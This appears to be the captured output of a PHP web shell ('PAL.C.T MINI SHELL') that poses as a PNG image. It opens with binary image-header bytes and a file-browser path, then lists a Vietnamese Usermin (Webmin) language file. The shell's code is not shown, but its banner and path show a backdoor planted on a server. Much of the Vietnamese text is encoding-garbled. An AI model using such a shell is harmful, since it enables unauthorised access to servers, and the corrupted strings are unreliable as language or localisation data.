‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/usermin/lang/
upload
files >> //usr/libexec/webmin/usermin/lang/vi.auto

index_title=Cấu hình Usermin
index_econfig=Thư mục $1 không tồn tại trên hệ thống của bạn hoặc không phải là thư mục cấu hình Usermin. Có thể Usermin chưa được cài đặt hoặc <a href='$2'>cấu hình mô-đun</a> của bạn không chính xác.
index_return=Cấu hình Usermin
index_stop=Ngừng sử dụng
index_stopmsg=Nhấp vào nút này để dừng máy chá»§ Usermin chạy trên hệ thống cá»§a bạn. Sau khi dừng lại, sẽ không có ngưá»i dùng nào có thể đăng nhập vào nó.
index_start=Bắt đầu sử dụng
index_startmsg=Nhấp vào nút này để khởi động máy chá»§ Usermin trên hệ thống cá»§a bạn. Cho đến khi nó được bắt đầu, ngưá»i dùng sẽ không thể đăng nhập.
index_version=Sử dụng $1 
index_boot=Bắt đầu lúc khởi động
index_bootmsg=Thay đổi tùy chá»n này để kiểm soát xem Usermin có được khởi động khi khởi động hay không. Nếu nó hiện không được khởi động khi khởi động và Có được chá»n, má»™t tập lệnh init má»›i sẽ được tạo.
index_install=Webmin có thể tá»± động tải xuống và cài đặt phiên bản Usermin má»›i nhất cho bạn. Tuy nhiên, Ä‘iá»u này không nên được thá»±c hiện nếu chương trình đã được cài đặt và Ä‘ang sá»­ dụng má»™t thư mục cấu hình khác.
index_rpm=Cài đặt gói RPM Usermin
index_tgz=Cài đặt gói Usermin tar.gz
index_deb=Cài đặt gói Debian Usermin
index_esame=Thư mục cấu hình Usermin $1 được đặt trên trang <a href='$2'>cấu hình mô-đun</a> giống với thư mục của Webmin, không chính xác.
index_eroot=Thư mục cấu hình Usermin $1 tồn tại, nhưng thư mục gốc của chương trình $2 mà nó đỠcập đến thì không! Bạn nên tải xuống và cài đặt lại Usermin theo cách thủ công.
index_restart=Khởi động lại Usermin
index_restartmsg=Nhấp vào nút này để bắt đầu lại quy trình máy chá»§ Usermin. Äiá»u này có thể cần thiết nếu gần đây bạn đã nâng cấp Perl.

access_title=Kiểm soát truy cập IP
access_desc=Máy chá»§ Usermin có thể được cấu hình để từ chối hoặc chỉ cho phép truy cập từ má»™t số địa chỉ IP nhất định sá»­ dụng mẫu này. Tên máy chá»§ (như foo.bar.com) và mạng IP (như 10.254.3.0 hoặc 10.254.1.0/255.255.255.128 hoặc 10.254.1.0/25 hoặc 10.254.1.5-10.254.97.127) cÅ©ng có thể được nhập. Bạn nên giá»›i hạn quyá»n truy cập vào máy chá»§ cá»§a mình đến các địa chỉ đáng tin cậy, đặc biệt nếu có thể truy cập từ Internet. Nếu không, bất cứ ai Ä‘oán mật khẩu cá»§a bạn sẽ có toàn quyá»n kiểm soát hệ thống cá»§a bạn.

bind_title=Cổng và địa chỉ
bind_desc2=Biểu mẫu này có thể được sá»­ dụng để thay đổi số cổng mà Usermin nghe hoặc chỉ nghe trên má»™t địa chỉ IP duy nhất trên hệ thống cá»§a bạn. Bạn cÅ©ng có thể định cấu hình nó để chấp nhận kết nối trên nhiá»u cổng hoặc để nghe trên má»™t số địa chỉ IP. Lưu ý - trình duyệt web cá»§a bạn có thể nhắc bạn đăng nhập lại sau khi thay đổi cổng hoặc địa chỉ ràng buá»™c.
bind_erestart=Xảy ra lỗi khi bắt đầu Usermin với cài đặt cổng và địa chỉ mới : $1 

mods_title=Mô-đun Usermin
umods_title=Mô-đun Usermin
mods_desc1=Các mô-Ä‘un Usermin có thể được thêm vào sau khi cài đặt bằng cách sá»­ dụng biểu mẫu bên phải. Các mô-Ä‘un thưá»ng được phân phối trong các tệp <tt>.wbm</tt>, má»—i mô-Ä‘un có thể chứa má»™t hoặc nhiá»u mô-Ä‘un. Các mô-Ä‘un cÅ©ng có thể được cài đặt từ các tệp RPM nếu được hệ Ä‘iá»u hành cá»§a bạn há»— trợ.
mods_install=Cài đặt mô-đun
mods_local=Từ tập tin cục bộ
mods_uploaded=Từ tập tin tải lên
mods_ftp=Từ URL ftp hoặc http
mods_nodeps=BỠqua các phụ thuộc mô-đun khi cài đặt
mods_installok=Cài đặt Module từ tệp
mods_desc2=Nếu bạn muốn có nhiá»u bản sao cá»§a cùng má»™t mô-Ä‘un vá»›i các cấu hình khác nhau, biểu mẫu bên phải cho phép bạn sao chép bất kỳ mô-Ä‘un hiện có nào. Bản sao sẽ có tên má»›i, cấu hình mô-Ä‘un má»›i và có thể được cung cấp cho những ngưá»i dùng khác nhau.
mods_clone=Mô-đun nhân bản
mods_cname=Mô-đun để nhân bản
mods_cnew=Tên mô-đun nhân bản
mods_ccat=Chỉ định danh mục
mods_csame=Giống như bản gốc
mods_cloneok=Mô-đun nhân bản
mods_desc3=Các mô-đun hiện có có thể được xóa bằng cách sử dụng mẫu dưới đây. Khi một mô-đun đã bị xóa, nó phải được cài đặt lại trước khi bạn có thể sử dụng lại nó. Một mô-đun không thể bị xóa nếu các mô-đun khác phụ thuộc vào nó.
mods_delete=Xóa các mô-đun
mods_deleteok=Xóa các mô-Ä‘un đã chá»n
mods_desc4=Các mô-đun đã cài đặt có thể được xuất dưới dạng tệp wbm.gz bằng cách sử dụng mẫu dưới đây. Một tập tin mô-đun sau đó có thể được cài đặt vào một hệ thống khác chạy Usermin.

os_title=Hệ Ä‘iá»u hành và môi trưá»ng
os_desc3=Trang này hiển thị hệ Ä‘iá»u hành được Usermin phát hiện khi cài đặt và hệ thống hiện được phát hiện. Nếu chúng khác nhau, bạn có thể chá»n cập nhật thông tin hệ Ä‘iá»u hành cá»§a Usermin, Ä‘iá»u này có thể cần thiết nếu bạn đã nâng cấp gần đây.
os_desc2=Bạn cÅ©ng có thể thay đổi đưá»ng dẫn tìm kiếm được sá»­ dụng bởi Usermin khi chạy các chương trình và đưá»ng dẫn thư viện dùng chung được chuyển đến bất kỳ chương trình nào.
os_usermin=Hệ Ä‘iá»u hành theo Usermin
os_iusermin=Mã hệ Ä‘iá»u hành ná»™i bá»™ được sá»­ dụng bởi Usermin
os_update=Cập nhật Usermin để sá»­ dụng HÄH được phát hiện

lang_title=Ngôn ngữ
lang_title2=Ngôn ngữ Usermin
lang_intro=Trang này cho phép bạn chá»n ngôn ngữ Usermin sẽ sá»­ dụng để hiển thị tiêu Ä‘á», lá»i nhắc và tin nhắn

session_title=Xác thực
session_desc1=Khi được bật, thá»i gian chá» mật khẩu sẽ bảo vệ máy chá»§ Usermin cá»§a bạn khá»i các cuá»™c tấn công bẻ khóa mật khẩu mạnh mẽ bằng cách thêm độ trá»… mở rá»™ng liên tục giữa má»—i lần đăng nhập thất bại cho cùng má»™t ngưá»i dùng.
session_desc2=Khi xác thá»±c phiên được bật, má»—i phiên cá»§a ngưá»i dùng đã đăng nhập sẽ được Usermin theo dõi, giúp ngưá»i dùng nhàn rá»—i có thể tá»± động đăng xuất. Xin lưu ý rằng việc bật hoặc tắt xác thá»±c phiên có thể buá»™c tất cả ngưá»i dùng đăng nhập lại.
session_remember=Äá» nghị nhá»› đăng nhập vÄ©nh viá»…n?
session_hostname=Hiển thị tên máy chủ trên màn hình đăng nhập?
session_realname=Hiển thị tên máy chủ thực sự thay vì tên từ URL?
session_authmode=Phương pháp xác thực
session_authmode0=Sử dụng PAM để xác thực, nếu có sẵn
session_authmode1=Xác thực bằng tệp mật khẩu $1 cột $2 và $3 
session_authmode2=Sử dụng chương trình xác thực kiểu mực bên ngoài
session_eauthmode1=Bạn phải nhập má»™t tệp mật khẩu nếu bạn đã chá»n tùy chá»n đó
session_eauthmode2=Bạn phải nhập chương trình xác thá»±c bên ngoài nếu bạn đã chá»n tùy chá»n đó
session_domain=Tá»± động thá»­ gắn tên miá»n vào tên ngưá»i dùng?
session_strip=Tá»± động thá»­ tước tên miá»n từ tên ngưá»i dùng?
session_usermap=Sá»­ dụng tệp ánh xạ tên ngưá»i dùng
session_userfmt=Äịnh dạng tệp
session_userfmt0=Chung ổn định (tên đến địa chỉ)
session_userfmt1=Virtusertable (địa chỉ để đặt tên)
session_eusermap=Tệp ánh xạ tên ngưá»i dùng bị thiếu hoặc không tồn tại
session_blank=Nhắc ngưá»i dùng vá»›i mật khẩu trống để chá»n má»™t lần đăng nhập đầu tiên?
session_homedir=Tạo thư mục nhà bị thiếu sau khi đăng nhập?
session_homedir_perms=Quyá»n cho thư mục má»›i
session_ehomedir_perms=Thiếu hoặc không hợp lệ quyá»n thư mục nhà bát phân

themes_title=Chủ đỠUsermin
themes_desc=Chá»§ đỠkiểm soát sá»± xuất hiện cá»§a giao diện ngưá»i dùng Usermin, bao gồm các biểu tượng, màu sắc, hình ná»n và có thể là bố cục cá»§a các trang. Há»™p lá»±a chá»n bên dưới có thể được sá»­ dụng để chá»n má»™t trong những chá»§ đỠđược cài đặt trên hệ thống cá»§a bạn sẽ là mặc định cho ngưá»i dùng Usermin.
themes_sel=Chủ đỠhiện tại :
themes_default=Chủ đỠUsermin cũ
themes_change=Thay đổi
themes_installdesc=Sá»­ dụng mẫu dưới đây để cài đặt má»™t chá»§ đỠUsermin má»›i trên hệ thống cá»§a bạn. Chá»§ đỠthưá»ng được phân phối trong các tệp <tt>.wbt</tt>, nhưng cÅ©ng có thể được cài đặt từ các tệp RPM nếu được hệ Ä‘iá»u hành cá»§a bạn há»— trợ.
themes_installok=Cài đặt chá»§ Ä‘á»
themes_err1=Không thể cài đặt chủ đỠtừ $1 
themes_efile=Tập tin không tồn tại
themes_err2=Không thể cài đặt chủ đỠđã tải lên
themes_ebrowser=Trình duyệt của bạn không hỗ trợ tải lên tập tin
themes_err3=Không thể cài đặt chủ đỠtừ $1 
themes_eurl=URL không hợp lệ
themes_etar=Không phải là tệp chủ đỠhợp lệ : $1 
themes_einfo=Chủ đỠ$1 thiếu tệp theme.info
themes_enone=Tệp không xuất hiện để chứa bất kỳ chá»§ Ä‘á»
themes_eextract=Trích xuất thất bại : $1 
themes_done=Các chủ đỠsau đã được cài đặt thành công trên hệ thống của bạn :
themes_line=$1 trong $2 ($3 kB)
themes_ecomp=Tệp được nén, nhưng không tìm thấy lệnh $1 trên hệ thống của bạn
themes_ecomp2=Không thể giải nén tệp : $1 
themes_egzip=Tệp được nén, nhưng không tìm thấy lệnh $1 trên hệ thống của bạn
themes_egzip2=Không thể gửi tệp gunzip : $1 
themes_erpm=Không phải RPM chủ đỠUsermin
themes_eirpm=Cài đặt RPM không thành công : $1 
themes_ok=Chủ đỠđã thay đổi thành công.. chuyển hướng đến trang chỉ mục Webmin.
themes_delete=Biểu mẫu này có thể được sử dụng để xóa một trong những chủ đỠđược cài đặt trên hệ thống của bạn hiện không được sử dụng.
themes_delok=Chủ đỠcần xóa :

themes_desc4=Các chủ đỠđã cài đặt có thể được xuất dưới dạng tệp wbt.gz bằng cách sử dụng mẫu dưới đây. Một tập tin chủ đỠsau đó có thể được cài đặt vào một hệ thống khác chạy Usermin.

configs_ecannot=Bạn không được phép cấu hình mô-đun này
configs_title=Cấu hình mô đun Usermin
configs_header=Các mô-đun cấu hình
configs_title2=Cấu hình mô-đun
configs_desc=Chá»n mô-Ä‘un mà bạn muốn cấu hình từ danh sách bên dưới ..
configs_uheader=Tùy chá»n ngưá»i dùng mặc định cho $1 
configs_return=Cấu hình mô đun Usermin
configs_prefs=Ngưá»i dùng có thể chỉnh sá»­a tùy chá»n?
configs_sels=Chỉ được chá»n ..
configs_global=Cấu hình mô đun toàn cầu
configs_globaldesc=Các cài đặt trong biểu mẫu này áp dụng cho tất cả ngưá»i dùng mô-Ä‘un và thưá»ng đặt các tùy chá»n liên quan đến các chương trình và tệp mà nó sá»­ dụng.
configs_user=Tùy chá»n ngưá»i dùng mặc định
configs_userdesc=Các cài đặt trong biểu mẫu này xác định mặc định cho các tùy chá»n có thể chỉnh sá»­a cá»§a ngưá»i dùng cho mô-Ä‘un này. Trừ khi bạn chỉ định khác, há» có thể bị ngưá»i dùng cá nhân vượt quá.

acl_title=Mô-đun có sẵn
acl_desc=Sá»­ dụng trang này để chá»n mô-Ä‘un Usermin đã cài đặt hiển thị cho ngưá»i dùng.

ssl_title=Mã hóa SSL
ssl_desc1=Máy chá»§ lưu trữ Usermin Ä‘ang chạy dưá»ng như đã cài đặt mô-Ä‘un SSLeay Perl. Sá»­ dụng Ä‘iá»u này, Usermin há»— trợ giao tiếp được mã hóa SSL giữa trình duyệt cá»§a bạn và máy chá»§. Nếu ngưá»i dùng Ä‘ang truy cập máy chá»§ Usermin cá»§a bạn qua Internet, thì bạn chắc chắn nên xem xét sá»­ dụng SSL để ngăn chặn kẻ tấn công chiếm được mật khẩu cá»§a há».
ssl_desc2=Cảnh báo - chỉ bật há»— trợ SSL nếu bạn có trình duyệt há»— trợ SSL và không có yêu cầu chặn tưá»ng lá»­a <tt>https</tt> giữa trình duyệt cá»§a bạn và máy chá»§ Usermin.
ssl_newkey=Biểu mẫu này có thể được sử dụng để tạo khóa SSL mới cho máy chủ Usermin của bạn.
ssl_hole=Vì bạn hiện Ä‘ang sá»­ dụng khóa SSL Usermin mặc định mà má»i ngưá»i Ä‘á»u có quyá»n truy cập, nên bạn nên tạo má»™t khóa má»›i ngay lập tức. Nếu không, kết nối SSL cá»§a bạn không an toàn!
ssl_savekey=Biểu mẫu này cho phép bạn tải lên chứng chỉ và khóa riêng SSL định dạng PEM hiện có cho máy chủ Usermin của bạn để sử dụng.
ssl_copycert=Sao chép chứng chỉ từ Webmin
ssl_copycertdesc=Sao chép chứng chỉ SSL, khóa riêng, chứng chỉ CA và các cài đặt khác mà Webmin đang sử dụng.

ca_email=ÄiÌ£a chỉ email
ca_ou=Phòng ban
ca_o=CÆ¡ quan
ca_sp=Tiểu bang
ca_c=Mã quốc gia

newkey_ok=Tạo thành công khóa SSL sau cho Usermin.

stop_err=Không thể ngăn chặn Usermin
stop_ekill=Không thể giết tiến trình : $1 
stop_efile=Äã dừng
stop_ecannot=Bạn không được phép dừng Usermin

start_err=Không thể bắt đầu Usermin
start_ecannot=Bạn không được phép bắt đầu Usermin

users_title=Ngưá»i dùng và nhóm được phép
users_desc=Usermin có thể được cấu hình để giá»›i hạn những ngưá»i dùng và nhóm unix nào được phép đăng nhập, sá»­ dụng mẫu này. Äể chỉ định tất cả các thành viên chính cá»§a má»™t nhóm unix, hãy nhập <tt>@groupname</tt> vào danh sách.
users_desc2=Äể khá»›p vá»›i má»™t loạt các UID, hãy nhập <tt>start-end</tt>, <tt>start -</tt> hoặc <tt>-end</tt> vào danh sách.
users_header=Kiểm soát truy cập đăng nhập Usermin
users_all=Cho phép tất cả ngưá»i dùng
users_allow=Chỉ cho phép ngưá»i dùng được liệt kê ..
users_deny=Từ chối ngưá»i dùng được liệt kê ..
users_err=Không thể cập nhật danh sách ngưá»i dùng
users_none=Không có ngưá»i dùng nào được nhập
users_euser='$1' không phải là tên ngưá»i dùng hợp lệ
users_egroup='$1' không phải là tên nhóm hợp lệ
users_shells=Từ chối ngưá»i dùng có vá» không có trong tệp
users_eshells=Tập tin shell thiếu hoặc không tồn tại

defacl_title=Tùy chá»n kiểm soát truy cập
defacl_desc=Trang này cho phép bạn định cấu hình tùy chá»n kiểm soát truy cập khác nhau áp dụng cho các mô-Ä‘un và ngưá»i dùng Usermin. Các tùy chá»n này tương tá»± như các tùy chá»n trong Global ACL cho má»—i ngưá»i dùng trong mô-Ä‘un Ngưá»i dùng Webmin.
defacl_header=Tùy chá»n kiểm soát truy cập cho ngưá»i dùng Usermin
defacl_err=Không thể lưu các tùy chá»n kiểm soát truy cập

install_err1=Không thể cài đặt mô-đun từ $1 
install_efile=Tập tin không tồn tại
install_err2=Không thể cài đặt mô-đun tải lên
install_ebrowser=Trình duyệt của bạn không hỗ trợ tải lên tập tin
install_err3=Không thể cài đặt mô-đun từ $1 
install_eurl=URL không hợp lệ
install_etar=Không phải là tệp mô-đun hợp lệ : $1 
install_einfo=Mô-đun $1 thiếu tệp module.info
install_enone=Tệp không xuất hiện để chứa bất kỳ mô-đun
install_eos=Mô-Ä‘un $1 không há»— trợ hệ Ä‘iá»u hành này ($2 $3)
install_eusermin=Mô-đun $1 dành cho Webmin, không phải Usermin
install_ever=Mô-đun $1 yêu cầu phiên bản Usermin $2 trở lên
install_edep=Mô-đun $1 yêu cầu mô-đun $2 
install_eperldep=Mô-đun $1 yêu cầu mô-đun Perl $2. <br>Tuy nhiên, bạn có thể có Webmin<a href='$3'> tải xuống và cài đặt </a> mô-đun Perl cho bạn.
install_eextract=Trích xuất thất bại : $1 
install_title=Cài đặt mô-đun
install_desc=Các mô-Ä‘un sau đây đã được cài đặt và thêm thành công vào danh sách kiểm soát truy cập cá»§a tất cả ngưá»i dùng :
install_line2=$1 trong $2 ($3 kB) trong danh mục $4 
install_ecomp=Tệp được nén, nhưng không tìm thấy lệnh $1 trên hệ thống của bạn
install_ecomp2=Không thể giải nén tệp : $1 
install_egzip=Tệp được nén, nhưng không tìm thấy lệnh $1 trên hệ thống của bạn
install_egzip2=Không thể gửi tệp gunzip : $1 
install_erpm=Không phải mô-Ä‘un Usermin hoặc RPM chá»§ Ä‘á»
install_eirpm=Cài đặt RPM không thành công : $1 
install_cat=Theo danh mục $1.
install_eneither=RPM không chứa mô-đun hoặc chủ đỠusermin

delete_err=Không thể xóa các mô-đun
delete_edep=Mô-đun $1 không thể bị xóa, vì mô-đun $2 phụ thuộc vào nó
delete_desc1=$1 (Bản sao của $2)
delete_desc2=$1 trong $2 ($3 kB)
delete_title=Xóa các mô-đun
delete_msg=Các mô-Ä‘un sau đã được xóa thành công khá»i cài đặt Usermin cá»§a bạn :
delete_rusure=Bạn có chắc chắn muốn xóa (các) mô-đun $2 không? $1 kB tệp sẽ bị xóa vĩnh viễn.
delete_rusure2=Bạn có chắc chắn muốn xóa chủ đỠ$2 không? $1 kB tệp sẽ bị xóa vĩnh viễn.
delete_enone=Không có mô-Ä‘un được chá»n

ui_title=Giao diện ngưá»i dùng
ui_desc=Biểu mẫu này cho phép bạn chỉnh sá»­a các tùy chá»n giao diện ngưá»i dùng được sá»­ dụng bởi tất cả các mô-Ä‘un Usermin.
ui_header=Tùy chá»n giao diện ngưá»i dùng
ui_default=Mặc định
cs_page=Trang ná»n
cs_text=Văn bản bình thưá»ng
cs_table=Bảng ná»n
cs_header=Bảng tiêu Ä‘á»
cs_link=văn bản liên kết
ui_texttitles=Hiển thị tiêu đỠdưới dạng văn bản?
ui_sysinfo=Hiển thị tên đăng nhập và tên máy chủ
ui_sysinfo0=Ở cuối trình duyệt
ui_sysinfo1=Trong tiêu đỠtrình duyệt
ui_sysinfo2=Tiêu đỠtrang trên
ui_sysinfo3=Hư không
ui_sysinfo4=Thay vì tiêu đỠtrình duyệt
ui_err=Không thể lưu giao diện ngưá»i dùng
ui_ered=Giá trị đỠkhông hợp lệ cho '$1'
ui_egreen=Giá trị xanh không hợp lệ cho '$1'
ui_eblue=Giá trị màu xanh không hợp lệ cho '$1'
ui_feedback=Gửi phản hồi tới
ui_feedbackmode=Cho phép gửi phản hồi?
ui_feednocc=Chỉ đến địa chỉ trên
ui_gotoone=Chuyển trá»±c tiếp đến module <br> nếu ngưá»i dùng chỉ có má»™t?
ui_gotonone=&lt;Không&gt;
ui_gotomodule=Sau khi đăng nhập, luôn luôn đi đến mô-đun
ui_nohost=Hiển thị phiên bản, tên máy chá»§ và hệ Ä‘iá»u hành trên menu chính?
ui_feedbackyes=Vâng, đến địa chỉ
ui_feedbackmail=Gửi phản hồi qua
ui_feedbackmail1=Chương trình gửi thư địa phương
ui_feedbackmail0=máy chủ SMTP
ui_efeedback=Thiếu địa chỉ email phản hồi
ui_efeedbackmail=Máy chủ SMTP bị thiếu hoặc không hợp lệ
ui_feedbackhost=Tên máy chủ trong phản hồi Từ: địa chỉ
ui_feedbackthis=Tên máy chủ của hệ thống
ui_hostnamemode=Tên máy chủ để hiển thị trong Usermin
ui_hnm0=Tên máy chủ thực sự
ui_hnm1=Tên máy chủ từ URL
ui_hnm2=Tên miá»n từ URL
ui_hnm3=Tên khác ..
ui_tabs=Phân loại mô-đun?

upgrade_title=Nâng cấp Usermin
upgrade_title2=Cài đặt Usermin
upgrade_desc=Biểu mẫu này cho phép bạn nâng cấp toàn bộ cài đặt Usermin của bạn lên phiên bản mới. Bạn có thể cài đặt từ một tệp cục bộ, một tệp được tải lên hoặc từ phiên bản mới nhất tại <a href=http://www.usermin.com/>www.usermin.com</a>. Giống như nâng cấp thủ công, tất cả các cài đặt cấu hình và mô-đun của bên thứ ba sẽ được giữ nguyên.
upgrade_descrpm=Biểu mẫu này cho phép bạn nâng cấp toàn bá»™ cài đặt Usermin cá»§a bạn lên phiên bản má»›i bằng tùy chá»n nâng cấp cá»§a RPM. Bạn có thể cài đặt từ tệp RPM cục bá»™, tệp đã tải lên hoặc từ phiên bản má»›i nhất tại <a href=http://www.usermin.com/>www.usermin.com</a>. Giống như nâng cấp thá»§ công, tất cả các cài đặt cấu hình và mô-Ä‘un cá»§a bên thứ ba sẽ được giữ nguyên.
upgrade_descdeb=Biểu mẫu này cho phép bạn nâng cấp toàn bộ cài đặt Usermin của bạn lên phiên bản mới bằng cách nâng cấp gói Debian của nó. Bạn có thể cài đặt từ tệp.deb cục bộ, tệp đã tải lên hoặc từ phiên bản mới nhất tại <a href=http://www.usermin.com/>www.usermin.com</a>. Giống như nâng cấp thủ công, tất cả các cài đặt cấu hình và mô-đun của bên thứ ba sẽ được giữ nguyên.
upgrade_local=Từ tập tin cục bộ
upgrade_uploaded=Từ tập tin tải lên
upgrade_url=Từ URL ftp hoặc http
upgrade_ftp=Phiên bản mới nhất từ www.usermin.com
upgrade_delete=Xóa thư mục của phiên bản cũ sau khi nâng cấp?
upgrade_ok=Nâng cấp Usermin
upgrade_err1=Không thể nâng cấp từ $1 
upgrade_err2=Không thể nâng cấp từ tệp đã tải lên
upgrade_err3=Không thể nâng cấp từ www.usermin.com
upgrade_err5=Không thể nâng cấp từ URL $1 
upgrade_eurl=URL bị thiếu hoặc không hợp lệ
upgrade_efile=Tập tin không tồn tại
upgrade_ebrowser=Trình duyệt của bạn không hỗ trợ tải lên tập tin
upgrade_eversion=Không thể hạ cấp xuống phiên bản $1 
upgrade_elatest=Bạn đang chạy phiên bản mới nhất của Usermin
upgrade_erpm=Không phải là tệp RPM Usermin hợp lệ
upgrade_egunzip=Hệ thống của bạn không có lệnh <tt>gunzip</tt>
upgrade_egzip=Không thể gửi tệp gunzip : $1 
upgrade_etar=Không phải là tệp tar Usermin hợp lệ
upgrade_euntar=Không thể xóa tệp : $1 
upgrade_emod=Tệp là mô-đun Usermin, không phải là bản nâng cấp Usermin hoàn chỉnh. Bạn có thể muốn sử dụng trang <a href='$1'>Mô-đun Usermin</a> để cài đặt nó.
upgrade_ewebmin=Tệp là phiên bản Webmin $1, không phải là bản cập nhật Usermin.
upgrade_setup=Nâng cấp Usermin bằng lệnh $1 ..
upgrade_setup2=Cài đặt Usermin bằng lệnh $1 ..
upgrade_done=.. nâng cấp hoàn tất.
upgrade_failed=.. nâng cấp thất bại!
upgrade_updates=Có $1 bản cập nhật cho phiên bản má»›i này cá»§a Usermin. <a href='$2'>Nhấp vào đây</a> để tá»± động tải xuống và cài đặt chúng ngay bây giá».
upgrade_eupdates=Không thể tải xuống danh sách các bản cập nhật : $1 

update_desc1=Biểu mẫu này cho phép bạn nâng cấp các mô-Ä‘un Usermin đã được tìm thấy có chứa lá»—i hoặc lá»— hổng bảo mật từ trang <a href=http://www.usermin.com/uupdates.html>Cập nhật Usermin</a> hoặc từ má»™t nguồn khác. Äiá»u này sẽ so sánh các mô-Ä‘un hiện được cài đặt vá»›i các mô-Ä‘un có sẵn để cập nhật và tùy chá»n tá»± động tải xuống và cài đặt bất kỳ mô-Ä‘un nào đã lá»—i thá»i.
update_header1=Cập nhật các mô-Ä‘un ngay bây giá»
update_header2=Cập nhật các mô-đun theo lịch trình
update_webmin=Cập nhật từ www.usermin.com
update_other=Cập nhật từ một nguồn khác
update_show=Chỉ hiển thị các mô-đun sẽ được cập nhật
update_missing=Cài đặt các mô-đun hiện chưa được cài đặt
update_quiet=Chỉ báo cáo cập nhật
update_ok=Cập nhật các mô-đun
update_email=Báo cáo cập nhật email đến
update_enabled=Cập nhật theo lịch trình hiện được kích hoạt
update_apply=Lưu và áp dụng
update_sched=Cập nhật các mô-đun ở $1 : 00 mỗi $2 ngày
update_none=Không có bản cập nhật Usermin cho phiên bản này.
update_failed=Không thể cài đặt mô-đun : $1 
update_desc2=Biểu mẫu này là để lên lịch cập nhật tá»± động các mô-Ä‘un Usermin có chứa lá»—i hoặc lá»— hổng bảo mật từ trang <a href=http://www.usermin.com/uupdates.html>Cập nhật Usermin</a> hoặc từ má»™t nguồn khác. Mặc dù dịch vụ này hữu ích, bạn nên cẩn thận khi sá»­ dụng vì nó có thể cho phép kẻ tấn công chiếm quyá»n hệ thống cá»§a bạn nếu máy chá»§ cập nhật bị xâm phạm.

assignment_title=Tái chỉ định mô-đun
assignment_header=Bài tập thể loại
assignment_ok=Thay đổi danh mục
assignment_desc=Biểu mẫu này cho phép bạn định cấu hình danh mục mà mỗi mô-đun được hiển thị bên dưới trang chỉ mục Usermin.

categories_title=Chỉnh sửa danh mục
categories_header=ID danh mục và mô tả
categories_desc=Biểu mẫu này cho phép bạn đổi tên các danh mục Usermin hiện có và tạo các danh mục mới để gán mô-đun cho. Phần trên cùng của bảng là để thay đổi các mô tả của các danh mục tích hợp, trong khi phần dưới cùng là để thêm các ID và mô tả danh mục mới.
categories_ok=Lưu danh mục
categories_err=Không thể lưu các danh mục
categories_edesc=Thiếu mô tả cho $1 
categories_ecat=ID loại $1 đã được sử dụng
categories_code=TÔI
categories_name=Mô tả hiển thị

log_access=Thay đổi kiểm soát truy cập IP
log_bind=Thay đổi cổng và địa chỉ
log_log=Thay đổi đăng nhập tùy chá»n
log_proxy=Thay đổi máy chủ proxy
log_ui=Thay đổi tùy chá»n giao diện ngưá»i dùng
log_install=Äã cài đặt mô-Ä‘un $1 
log_tinstall=Äã cài đặt chá»§ đỠ$1 
log_clone=Mô-đun nhân bản $1 đến $2 
log_delete=Äã xóa mô-Ä‘un $1 
log_os=Thay đổi hệ Ä‘iá»u hành
log_lang=Thay đổi ngôn ngữ toàn cầu
log_startpage=Tùy chá»n trang chỉ mục đã thay đổi
log_upgrade=Nâng cấp Usermin lên phiên bản $1 
log_uinstall=Äã cài đặt phiên bản Usermin $1 
log_session=Thay đổi tùy chá»n xác thá»±c
log_ssl=Thay đổi chế độ mã hóa SSL
log_copycert=Cài đặt SSL được sao chép từ Webmin
log_newkey=Tạo khóa SSL mới
log_setupca=Thiết lập thẩm quyá»n chứng chỉ
log_changeca=Cơ quan cấp chứng chỉ đã thay đổi
log_stopca=Tắt giấy chứng nhận
log_assignment=Thay đổi danh mục mô-đun
log_categories=Thay đổi tên danh mục
log_theme=Thay đổi chủ đỠthành $1 
log_theme_def=Thay đổi chủ đỠthành Usermin mặc định
log_referers=Thay đổi ngưá»i giá»›i thiệu đáng tin cậy
log_config=Thay đổi cấu hình cho $1 
log_uconfig=Thay đổi cấu hình ngưá»i dùng cho $1 
log_defacl=Thay đổi tùy chá»n kiểm soát truy cập
log_users=Thay đổi cho phép ngưá»i dùng và nhóm
log_acl=Thay đổi ngưá»i dùng có sẵn
log_restrict_create=Äã tạo hạn chế cho $1 
log_restrict_modify=Hạn chế sửa đổi cho $1 
log_restrict_delete=Äã xóa giá»›i hạn cho $1 
log_restrict_move=Äã hạn chế di chuyển cho $1 

log_all=tất cả ngưá»i dùng
log_group=nhóm 1
log_switch=Äã chuyển sang ngưá»i dùng Usermin $1 
log_logout=Äã thay đổi thá»i gian đăng xuất tá»± động
log_dav=Thay đổi cài đặt máy chủ DAV
log_advanced=Thay đổi tùy chá»n nâng cao
log_mobile=Thay đổi tùy chá»n thiết bị di động

update_err=Không thể cập nhật các mô-đun
update_eurl=URL cập nhật bị thiếu hoặc không hợp lệ
update_title=Cập nhật các mô-đun
update_info=Cập nhật các mô-đun Usermin ..
update_mmissing=Mô-đun $1 không được cài đặt trên hệ thống này.
update_malready=Mô-đun $1 đã được cập nhật.
update_mshow=Cần cập nhật cho mô-đun $1 lên phiên bản $2.
update_mok=Cập nhật mô-đun $1 lên phiên bản $2.
update_fixes=Khắc phục sự cố
update_mdesc=Mô-đun đã cài đặt $1 ($2 Kb)
update_mos=Cập nhật lên mô-Ä‘un $1 không liên quan đến HÄH này.
update_efile=Mô-đun cập nhật tập tin nguồn không hợp lệ
update_ehour=Thiếu hoặc không hợp lệ giỠđể cập nhật vào
update_edays=Số ngày bị thiếu hoặc không hợp lệ
update_rv=Kiểm tra các mô-đun Usermin được cập nhật từ $1 
update_eemail=Bạn phải nhập địa chỉ email nếu chỉ hiển thị những gì sẽ được cập nhật.
update_subject=Báo cáo cập nhật mô-đun Usermin
update_version=Bản phát hành mới của Usermin (phiên bản $1) hiện có sẵn để tải xuống. Bản cập nhật trong tương lai sẽ chỉ được phát hành cho phiên bản mới nhất.

